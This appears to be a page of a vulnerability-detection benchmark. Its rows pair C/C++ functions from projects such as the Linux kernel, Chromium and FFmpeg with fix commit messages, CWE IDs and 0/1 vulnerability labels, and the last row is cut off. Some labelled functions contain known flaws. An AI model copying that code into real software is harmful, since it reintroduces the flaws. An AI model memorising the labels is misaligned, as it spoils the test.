instruction stringclasses 1 value | input stringlengths 56 241k | output int64 0 1 | __index_level_0__ int64 0 175k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int compat_match_to_user(struct ebt_entry_match *m, void __user **dstptr,
unsigned int *size)
{
const struct xt_match *match = m->u.match;
struct compat_ebt_entry_mwt __user *cm = *dstptr;
int off = ebt_compat_match_offset(match, m->match_size);
compat_uint_t msize = m->match_size - off;
BUG_ON(off >= m->match_size);
if (copy_to_user(cm->u.name, match->name,
strlen(match->name) + 1) || put_user(msize, &cm->match_size))
return -EFAULT;
if (match->compat_to_user) {
if (match->compat_to_user(cm->data, m->data))
return -EFAULT;
} else if (copy_to_user(cm->data, m->data, msize))
return -EFAULT;
*size -= ebt_compat_entry_padsize() + off;
*dstptr = cm->data;
*dstptr += msize;
return 0;
}
Commit Message: bridge: netfilter: fix information leak
Struct tmp is copied from userspace. It is not checked whether the "name"
field is NULL terminated. This may lead to buffer overflow and passing
contents of kernel stack as a module name to try_then_request_module() and,
consequently, to modprobe commandline. It would be seen by all userspace
processes.
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Patrick McHardy <kaber@trash.net>
CWE ID: CWE-20 | 0 | 27,668 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void MediaInterfaceProxy::CreateVideoDecoder(
media::mojom::VideoDecoderRequest request) {
DCHECK(thread_checker_.CalledOnValidThread());
GetMediaInterfaceFactory()->CreateVideoDecoder(std::move(request));
}
Commit Message: media: Support hosting mojo CDM in a standalone service
Currently when mojo CDM is enabled it is hosted in the MediaService
running in the process specified by "mojo_media_host". However, on
some platforms we need to run mojo CDM and other mojo media services in
different processes. For example, on desktop platforms, we want to run
mojo video decoder in the GPU process, but run the mojo CDM in the
utility process.
This CL adds a new build flag "enable_standalone_cdm_service". When
enabled, the mojo CDM service will be hosted in a standalone "cdm"
service running in the utility process. All other mojo media services
will sill be hosted in the "media" servie running in the process
specified by "mojo_media_host".
BUG=664364
TEST=Encrypted media browser tests using mojo CDM is still working.
Change-Id: I95be6e05adc9ebcff966b26958ef1d7becdfb487
Reviewed-on: https://chromium-review.googlesource.com/567172
Commit-Queue: Xiaohan Wang <xhwang@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Dan Sanders <sandersd@chromium.org>
Cr-Commit-Position: refs/heads/master@{#486947}
CWE ID: CWE-119 | 0 | 127,441 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const content::NavigationController* AutofillDialogViews::ShowSignIn(
const GURL& url) {
int min_width = GetContentsBounds().width();
int min_height = GetDialogClientView()->GetContentsBounds().height();
sign_in_delegate_.reset(
new AutofillDialogSignInDelegate(
this,
sign_in_web_view_->GetWebContents(),
delegate_->GetWebContents(),
gfx::Size(min_width, min_height), GetMaximumSignInViewSize()));
sign_in_web_view_->LoadInitialURL(url);
ShowDialogInMode(SIGN_IN);
ContentsPreferredSizeChanged();
return &sign_in_web_view_->web_contents()->GetController();
}
Commit Message: Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959}
CWE ID: CWE-20 | 0 | 110,054 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: u8 kvm_get_guest_memory_type(struct kvm_vcpu *vcpu, gfn_t gfn)
{
u8 mtrr;
mtrr = get_mtrr_type(&vcpu->arch.mtrr_state, gfn << PAGE_SHIFT,
(gfn << PAGE_SHIFT) + PAGE_SIZE);
if (mtrr == 0xfe || mtrr == 0xff)
mtrr = MTRR_TYPE_WRBACK;
return mtrr;
}
Commit Message: nEPT: Nested INVEPT
If we let L1 use EPT, we should probably also support the INVEPT instruction.
In our current nested EPT implementation, when L1 changes its EPT table
for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in
the course of this modification already calls INVEPT. But if last level
of shadow page is unsync not all L1's changes to EPT12 are intercepted,
which means roots need to be synced when L1 calls INVEPT. Global INVEPT
should not be different since roots are synced by kvm_mmu_load() each
time EPTP02 changes.
Reviewed-by: Xiao Guangrong <xiaoguangrong@linux.vnet.ibm.com>
Signed-off-by: Nadav Har'El <nyh@il.ibm.com>
Signed-off-by: Jun Nakajima <jun.nakajima@intel.com>
Signed-off-by: Xinhao Xu <xinhao.xu@intel.com>
Signed-off-by: Yang Zhang <yang.z.zhang@Intel.com>
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20 | 0 | 37,452 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void mdiobus_unregister(struct mii_bus *bus)
{
struct mdio_device *mdiodev;
int i;
BUG_ON(bus->state != MDIOBUS_REGISTERED);
bus->state = MDIOBUS_UNREGISTERED;
for (i = 0; i < PHY_MAX_ADDR; i++) {
mdiodev = bus->mdio_map[i];
if (!mdiodev)
continue;
if (mdiodev->reset)
gpiod_put(mdiodev->reset);
mdiodev->device_remove(mdiodev);
mdiodev->device_free(mdiodev);
}
/* Put PHYs in RESET to save power */
if (bus->reset_gpiod)
gpiod_set_value_cansleep(bus->reset_gpiod, 1);
device_del(&bus->dev);
}
Commit Message: mdio_bus: Fix use-after-free on device_register fails
KASAN has found use-after-free in fixed_mdio_bus_init,
commit 0c692d07842a ("drivers/net/phy/mdio_bus.c: call
put_device on device_register() failure") call put_device()
while device_register() fails,give up the last reference
to the device and allow mdiobus_release to be executed
,kfreeing the bus. However in most drives, mdiobus_free
be called to free the bus while mdiobus_register fails.
use-after-free occurs when access bus again, this patch
revert it to let mdiobus_free free the bus.
KASAN report details as below:
BUG: KASAN: use-after-free in mdiobus_free+0x85/0x90 drivers/net/phy/mdio_bus.c:482
Read of size 4 at addr ffff8881dc824d78 by task syz-executor.0/3524
CPU: 1 PID: 3524 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0xfa/0x1ce lib/dump_stack.c:113
print_address_description+0x65/0x270 mm/kasan/report.c:187
kasan_report+0x149/0x18d mm/kasan/report.c:317
mdiobus_free+0x85/0x90 drivers/net/phy/mdio_bus.c:482
fixed_mdio_bus_init+0x283/0x1000 [fixed_phy]
? 0xffffffffc0e40000
? 0xffffffffc0e40000
? 0xffffffffc0e40000
do_one_initcall+0xfa/0x5ca init/main.c:887
do_init_module+0x204/0x5f6 kernel/module.c:3460
load_module+0x66b2/0x8570 kernel/module.c:3808
__do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902
do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f6215c19c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000080 RDI: 0000000000000003
RBP: 00007f6215c19c70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6215c1a6bc
R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004
Allocated by task 3524:
set_track mm/kasan/common.c:85 [inline]
__kasan_kmalloc.constprop.3+0xa0/0xd0 mm/kasan/common.c:496
kmalloc include/linux/slab.h:545 [inline]
kzalloc include/linux/slab.h:740 [inline]
mdiobus_alloc_size+0x54/0x1b0 drivers/net/phy/mdio_bus.c:143
fixed_mdio_bus_init+0x163/0x1000 [fixed_phy]
do_one_initcall+0xfa/0x5ca init/main.c:887
do_init_module+0x204/0x5f6 kernel/module.c:3460
load_module+0x66b2/0x8570 kernel/module.c:3808
__do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902
do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
Freed by task 3524:
set_track mm/kasan/common.c:85 [inline]
__kasan_slab_free+0x130/0x180 mm/kasan/common.c:458
slab_free_hook mm/slub.c:1409 [inline]
slab_free_freelist_hook mm/slub.c:1436 [inline]
slab_free mm/slub.c:2986 [inline]
kfree+0xe1/0x270 mm/slub.c:3938
device_release+0x78/0x200 drivers/base/core.c:919
kobject_cleanup lib/kobject.c:662 [inline]
kobject_release lib/kobject.c:691 [inline]
kref_put include/linux/kref.h:67 [inline]
kobject_put+0x146/0x240 lib/kobject.c:708
put_device+0x1c/0x30 drivers/base/core.c:2060
__mdiobus_register+0x483/0x560 drivers/net/phy/mdio_bus.c:382
fixed_mdio_bus_init+0x26b/0x1000 [fixed_phy]
do_one_initcall+0xfa/0x5ca init/main.c:887
do_init_module+0x204/0x5f6 kernel/module.c:3460
load_module+0x66b2/0x8570 kernel/module.c:3808
__do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902
do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
The buggy address belongs to the object at ffff8881dc824c80
which belongs to the cache kmalloc-2k of size 2048
The buggy address is located 248 bytes inside of
2048-byte region [ffff8881dc824c80, ffff8881dc825480)
The buggy address belongs to the page:
page:ffffea0007720800 count:1 mapcount:0 mapping:ffff8881f6c02800 index:0x0 compound_mapcount: 0
flags: 0x2fffc0000010200(slab|head)
raw: 02fffc0000010200 0000000000000000 0000000500000001 ffff8881f6c02800
raw: 0000000000000000 00000000800f000f 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff8881dc824c00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff8881dc824c80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881dc824d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff8881dc824d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff8881dc824e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
Fixes: 0c692d07842a ("drivers/net/phy/mdio_bus.c: call put_device on device_register() failure")
Signed-off-by: YueHaibing <yuehaibing@huawei.com>
Reviewed-by: Andrew Lunn <andrew@lunn.ch>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-416 | 0 | 89,652 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int jas_stream_gobble(jas_stream_t *stream, int n)
{
int m;
m = n;
for (m = n; m > 0; --m) {
if (jas_stream_getc(stream) == EOF) {
return n - m;
}
}
return n;
}
Commit Message: Made some changes to the I/O stream library for memory streams.
There were a number of potential problems due to the possibility
of integer overflow.
Changed some integral types to the larger types size_t or ssize_t.
For example, the function mem_resize now takes the buffer size parameter
as a size_t.
Added a new function jas_stream_memopen2, which takes a
buffer size specified as a size_t instead of an int.
This can be used in jas_image_cmpt_create to avoid potential
overflow problems.
Added a new function jas_deprecated to warn about reliance on
deprecated library behavior.
CWE ID: CWE-190 | 1 | 168,745 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Resource* ResourceFetcher::ResourceForStaticData(
const FetchParameters& params,
const ResourceFactory& factory,
const SubstituteData& substitute_data) {
const KURL& url = params.GetResourceRequest().Url();
DCHECK(url.ProtocolIsData() || substitute_data.IsValid() || archive_);
if (!archive_ && !substitute_data.IsValid() &&
(factory.GetType() == Resource::kMainResource ||
factory.GetType() == Resource::kRaw))
return nullptr;
const String cache_identifier = GetCacheIdentifier();
if (Resource* old_resource =
GetMemoryCache()->ResourceForURL(url, cache_identifier)) {
if (params.Options().data_buffering_policy != kDoNotBufferData)
return old_resource;
GetMemoryCache()->Remove(old_resource);
}
ResourceResponse response;
RefPtr<SharedBuffer> data;
if (substitute_data.IsValid()) {
data = substitute_data.Content();
response.SetURL(url);
response.SetMimeType(substitute_data.MimeType());
response.SetExpectedContentLength(data->size());
response.SetTextEncodingName(substitute_data.TextEncoding());
} else if (url.ProtocolIsData()) {
data = NetworkUtils::ParseDataURLAndPopulateResponse(url, response);
if (!data)
return nullptr;
} else {
ArchiveResource* archive_resource =
archive_->SubresourceForURL(params.Url());
if (!archive_resource)
return nullptr;
data = archive_resource->Data();
response.SetURL(url);
response.SetMimeType(archive_resource->MimeType());
response.SetExpectedContentLength(data->size());
response.SetTextEncodingName(archive_resource->TextEncoding());
}
Resource* resource = factory.Create(
params.GetResourceRequest(), params.Options(), params.DecoderOptions());
resource->SetStatus(ResourceStatus::kPending);
resource->NotifyStartLoad();
resource->ResponseReceived(response, nullptr);
resource->SetDataBufferingPolicy(kBufferData);
if (data->size())
resource->SetResourceBuffer(data);
resource->SetIdentifier(CreateUniqueIdentifier());
resource->SetCacheIdentifier(cache_identifier);
resource->Finish();
if (ShouldResourceBeAddedToMemoryCache(params, resource) &&
!substitute_data.IsValid()) {
GetMemoryCache()->Add(resource);
}
return resource;
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Commit-Queue: Andrey Lushnikov <lushnikov@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119 | 0 | 138,903 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: compare_table(struct rc_search_table *a, struct rc_search_table *b)
{
return strcmp(a->param->name, b->param->name);
}
Commit Message: Make temporary directory safely when ~/.w3m is unwritable
CWE ID: CWE-59 | 0 | 84,553 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ossl_statem_accept(SSL *s)
{
return state_machine(s, 1);
}
Commit Message:
CWE ID: CWE-416 | 0 | 9,353 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WebRunnerBrowserContext::GetDownloadManagerDelegate() {
NOTIMPLEMENTED();
return nullptr;
}
Commit Message: [fuchsia] Implement browser tests for WebRunner Context service.
Tests may interact with the WebRunner FIDL services and the underlying
browser objects for end to end testing of service and browser
functionality.
* Add a browser test launcher main() for WebRunner.
* Add some simple navigation tests.
* Wire up GoBack()/GoForward() FIDL calls.
* Add embedded test server resources and initialization logic.
* Add missing deletion & notification calls to BrowserContext dtor.
* Use FIDL events for navigation state changes.
* Bug fixes:
** Move BrowserContext and Screen deletion to PostMainMessageLoopRun(),
so that they may use the MessageLoop during teardown.
** Fix Frame dtor to allow for null WindowTreeHosts (headless case)
** Fix std::move logic in Frame ctor which lead to no WebContents
observer being registered.
Bug: 871594
Change-Id: I36bcbd2436d534d366c6be4eeb54b9f9feadd1ac
Reviewed-on: https://chromium-review.googlesource.com/1164539
Commit-Queue: Kevin Marshall <kmarshall@chromium.org>
Reviewed-by: Wez <wez@chromium.org>
Reviewed-by: Fabrice de Gans-Riberi <fdegans@chromium.org>
Reviewed-by: Scott Violet <sky@chromium.org>
Cr-Commit-Position: refs/heads/master@{#584155}
CWE ID: CWE-264 | 0 | 131,224 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int _snd_timer_stop(struct snd_timer_instance * timeri,
int keep_flag, int event)
{
struct snd_timer *timer;
unsigned long flags;
if (snd_BUG_ON(!timeri))
return -ENXIO;
if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) {
if (!keep_flag) {
spin_lock_irqsave(&slave_active_lock, flags);
timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING;
spin_unlock_irqrestore(&slave_active_lock, flags);
}
goto __end;
}
timer = timeri->timer;
if (!timer)
return -EINVAL;
spin_lock_irqsave(&timer->lock, flags);
list_del_init(&timeri->ack_list);
list_del_init(&timeri->active_list);
if ((timeri->flags & SNDRV_TIMER_IFLG_RUNNING) &&
!(--timer->running)) {
timer->hw.stop(timer);
if (timer->flags & SNDRV_TIMER_FLG_RESCHED) {
timer->flags &= ~SNDRV_TIMER_FLG_RESCHED;
snd_timer_reschedule(timer, 0);
if (timer->flags & SNDRV_TIMER_FLG_CHANGE) {
timer->flags &= ~SNDRV_TIMER_FLG_CHANGE;
timer->hw.start(timer);
}
}
}
if (!keep_flag)
timeri->flags &=
~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START);
spin_unlock_irqrestore(&timer->lock, flags);
__end:
if (event != SNDRV_TIMER_EVENT_RESOLUTION)
snd_timer_notify1(timeri, event);
return 0;
}
Commit Message: ALSA: timer: Fix race among timer ioctls
ALSA timer ioctls have an open race and this may lead to a
use-after-free of timer instance object. A simplistic fix is to make
each ioctl exclusive. We have already tread_sem for controlling the
tread, and extend this as a global mutex to be applied to each ioctl.
The downside is, of course, the worse concurrency. But these ioctls
aren't to be parallel accessible, in anyway, so it should be fine to
serialize there.
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Tested-by: Dmitry Vyukov <dvyukov@google.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-362 | 0 | 54,627 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int reget_buffer_internal(AVCodecContext *avctx, AVFrame *frame)
{
AVFrame *tmp;
int ret;
av_assert0(avctx->codec_type == AVMEDIA_TYPE_VIDEO);
if (frame->data[0] && (frame->width != avctx->width || frame->height != avctx->height || frame->format != avctx->pix_fmt)) {
av_log(avctx, AV_LOG_WARNING, "Picture changed from size:%dx%d fmt:%s to size:%dx%d fmt:%s in reget buffer()\n",
frame->width, frame->height, av_get_pix_fmt_name(frame->format), avctx->width, avctx->height, av_get_pix_fmt_name(avctx->pix_fmt));
av_frame_unref(frame);
}
ff_init_buffer_info(avctx, frame);
if (!frame->data[0])
return ff_get_buffer(avctx, frame, AV_GET_BUFFER_FLAG_REF);
if (av_frame_is_writable(frame))
return ff_decode_frame_props(avctx, frame);
tmp = av_frame_alloc();
if (!tmp)
return AVERROR(ENOMEM);
av_frame_move_ref(tmp, frame);
ret = ff_get_buffer(avctx, frame, AV_GET_BUFFER_FLAG_REF);
if (ret < 0) {
av_frame_free(&tmp);
return ret;
}
av_frame_copy(frame, tmp);
av_frame_free(&tmp);
return 0;
}
Commit Message: avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-787 | 0 | 67,056 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WebContentsImpl::WebContentsTreeNode::OuterContentsFrameTreeNode() const {
return FrameTreeNode::GloballyFindByID(outer_contents_frame_tree_node_id_);
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20 | 0 | 135,838 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static av_cold int webp_decode_close(AVCodecContext *avctx)
{
WebPContext *s = avctx->priv_data;
if (s->initialized)
return ff_vp8_decode_free(avctx);
return 0;
}
Commit Message: avcodec/webp: Always set pix_fmt
Fixes: out of array access
Fixes: 1434/clusterfuzz-testcase-minimized-6314998085189632
Fixes: 1435/clusterfuzz-testcase-minimized-6483783723253760
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Reviewed-by: "Ronald S. Bultje" <rsbultje@gmail.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119 | 0 | 64,061 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int _our_safe_pcap_next_ex(pcap_t *pcap, struct pcap_pkthdr **pkthdr,
const u_char **pktdata, const char *funcname,
const int line, const char *file)
{
int res = pcap_next_ex(pcap, pkthdr, pktdata);
if (*pktdata && *pkthdr) {
if ((*pkthdr)->len > MAXPACKET) {
fprintf(stderr, "safe_pcap_next_ex ERROR: Invalid packet length in %s:%s() line %d: %u is greater than maximum %u\n",
file, funcname, line, (*pkthdr)->len, MAXPACKET);
exit(-1);
}
if ((*pkthdr)->len < (*pkthdr)->caplen) {
fprintf(stderr, "safe_pcap_next_ex ERROR: Invalid packet length in %s:%s() line %d: packet length %u is less than capture length %u\n",
file, funcname, line, (*pkthdr)->len, (*pkthdr)->caplen);
exit(-1);
}
}
return res;
}
Commit Message: Bug #520 Fix heap overflow on zero or 0xFFFF packet length
Add check for packets that report zero packet length. Example
of fix:
src/tcpprep --auto=bridge --pcap=poc16-get_l2len-heapoverflow --cachefile=/dev/null
Warning: poc16-get_l2len-heapoverflow was captured using a snaplen of 17 bytes. This may mean you have truncated packets.
safe_pcap_next ERROR: Invalid packet length in tcpprep.c:process_raw_packets() line 334: packet length=0 capture length=0
CWE ID: CWE-125 | 1 | 168,947 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void set_run_callback(const RunFromHostProxyCallback& run_callback) {
run_callback_ = run_callback;
}
Commit Message: Fix PPB_Flash_MessageLoop.
This CL suspends script callbacks and resource loads while running nested message loop using PPB_Flash_MessageLoop.
BUG=569496
Review URL: https://codereview.chromium.org/1559113002
Cr-Commit-Position: refs/heads/master@{#374529}
CWE ID: CWE-264 | 0 | 131,089 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void print_extensions(TSRMLS_D)
{
zend_llist sorted_exts;
zend_llist_copy(&sorted_exts, &zend_extensions);
sorted_exts.dtor = NULL;
zend_llist_sort(&sorted_exts, extension_name_cmp TSRMLS_CC);
zend_llist_apply_with_argument(&sorted_exts, (llist_apply_with_arg_func_t) print_extension_info, NULL TSRMLS_CC);
zend_llist_destroy(&sorted_exts);
}
Commit Message:
CWE ID: CWE-119 | 0 | 7,258 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool ExtensionApiTest::RunPageTest(const std::string& page_url,
int flags) {
return RunExtensionSubtest(std::string(), page_url, flags);
}
Commit Message: Hide DevTools frontend from webRequest API
Prevent extensions from observing requests for remote DevTools frontends
and add regression tests.
And update ExtensionTestApi to support initializing the embedded test
server and port from SetUpCommandLine (before SetUpOnMainThread).
BUG=797497,797500
TEST=browser_test --gtest_filter=DevToolsFrontendInWebRequestApiTest.HiddenRequests
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Ic8f44b5771f2d5796f8c3de128f0a7ab88a77735
Reviewed-on: https://chromium-review.googlesource.com/844316
Commit-Queue: Rob Wu <rob@robwu.nl>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#528187}
CWE ID: CWE-200 | 0 | 146,580 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void GetMethod(const v8::FunctionCallbackInfo<v8::Value>& info) {
ExceptionState exception_state(info.GetIsolate(), ExceptionState::kExecutionContext, "TestObject", "get");
TestObject* impl = V8TestObject::ToImpl(info.Holder());
ScriptState* script_state = ScriptState::ForRelevantRealm(info);
if (UNLIKELY(info.Length() < 1)) {
exception_state.ThrowTypeError(ExceptionMessages::NotEnoughArguments(1, info.Length()));
return;
}
int32_t key;
key = NativeValueTraits<IDLLongEnforceRange>::NativeValue(info.GetIsolate(), info[0], exception_state);
if (exception_state.HadException())
return;
ScriptValue result = impl->getForBinding(script_state, key, exception_state);
if (exception_state.HadException()) {
return;
}
V8SetReturnValue(info, result.V8Value());
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID: | 0 | 134,727 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __be32 nfsd4_decode_backchannel_ctl(struct nfsd4_compoundargs *argp, struct nfsd4_backchannel_ctl *bc)
{
DECODE_HEAD;
READ_BUF(4);
bc->bc_cb_program = be32_to_cpup(p++);
nfsd4_decode_cb_sec(argp, &bc->bc_cb_sec);
DECODE_TAIL;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404 | 0 | 65,731 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void MockRenderThread::OnDuplicateSection(
base::SharedMemoryHandle renderer_handle,
base::SharedMemoryHandle* browser_handle) {
*browser_handle = renderer_handle;
}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 0 | 108,482 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ftrace_find_profiled_func(struct ftrace_profile_stat *stat, unsigned long ip)
{
struct ftrace_profile *rec;
struct hlist_head *hhd;
unsigned long key;
key = hash_long(ip, ftrace_profile_bits);
hhd = &stat->hash[key];
if (hlist_empty(hhd))
return NULL;
hlist_for_each_entry_rcu(rec, hhd, node) {
if (rec->ip == ip)
return rec;
}
return NULL;
}
Commit Message: tracing: Fix possible NULL pointer dereferences
Currently set_ftrace_pid and set_graph_function files use seq_lseek
for their fops. However seq_open() is called only for FMODE_READ in
the fops->open() so that if an user tries to seek one of those file
when she open it for writing, it sees NULL seq_file and then panic.
It can be easily reproduced with following command:
$ cd /sys/kernel/debug/tracing
$ echo 1234 | sudo tee -a set_ftrace_pid
In this example, GNU coreutils' tee opens the file with fopen(, "a")
and then the fopen() internally calls lseek().
Link: http://lkml.kernel.org/r/1365663302-2170-1-git-send-email-namhyung@kernel.org
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Ingo Molnar <mingo@kernel.org>
Cc: Namhyung Kim <namhyung.kim@lge.com>
Cc: stable@vger.kernel.org
Signed-off-by: Namhyung Kim <namhyung@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
CWE ID: | 0 | 30,148 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void AXTree::UpdateData(const AXTreeData& new_data) {
if (data_ == new_data)
return;
AXTreeData old_data = data_;
data_ = new_data;
for (AXTreeObserver& observer : observers_)
observer.OnTreeDataChanged(this, old_data, new_data);
}
Commit Message: Position info (item n of m) incorrect if hidden focusable items in list
Bug: 836997
